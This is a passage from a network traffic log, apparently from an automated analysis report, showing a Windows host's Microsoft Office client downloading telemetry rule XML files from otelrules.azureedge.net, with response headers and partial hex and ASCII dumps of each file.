2024-12-08 09:48:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: af038a62-701e-005c-6f03-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094820Z-r1cf579d778v97q7hC1EWRf95c00000004mg000000002aey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.8	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:19 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 061d09a2-c01e-00a1-3006-487e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094820Z-r1cf579d7782ctslhC1EWRfbrw00000005hg00000000109m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.8	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:22 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:22 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: af039603-701e-005c-3603-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094822Z-r1cf579d778lntp7hC1EWR9gg400000004hg000000000fpr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:22 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.8	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:22 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:22 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: b9413899-901e-0015-7203-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094822Z-r1cf579d778z4wflhC1EWRa3h0000000052g000000001pmb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:22 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.8	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:22 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:22 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4471680c-501e-0047-7105-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094822Z-r1cf579d778t6txphC1EWRsd4400000005kg000000000gw4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:22 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.8	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:22 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:22 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 67adf02b-201e-0085-1211-4834e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094822Z-r1cf579d77898tqwhC1EWRf9q80000000540000000001par x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:22 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.8	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:22 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:22 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: be723ded-701e-0021-0f06-483d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094822Z-r1cf579d7782ctslhC1EWRfbrw00000005gg000000001cs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:22 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.8	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:24 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:24 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: ea0869c5-001e-00ad-35e9-48554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094824Z-r1cf579d778zvkpnhC1EWRv23g0000000560000000003hdd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:24 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.8	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:24 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:24 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 8337024b-c01e-0079-5d05-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094824Z-r1cf579d77898tqwhC1EWRf9q800000005000000000037kc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:24 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.8	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:24 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:24 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 40072cf2-b01e-001e-4a03-480214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094824Z-r1cf579d778kr8xrhC1EWRfkun00000005g000000000188p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:24 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.8	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:24 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:24 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 1e99177e-901e-0029-5406-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094824Z-r1cf579d778g2t6ghC1EWRfggs00000004f0000000001adp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:24 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.8	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:24 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:24 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a36eb884-e01e-0051-4c04-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094824Z-r1cf579d778bb9vvhC1EWRs95400000004kg000000002hue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:24 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" 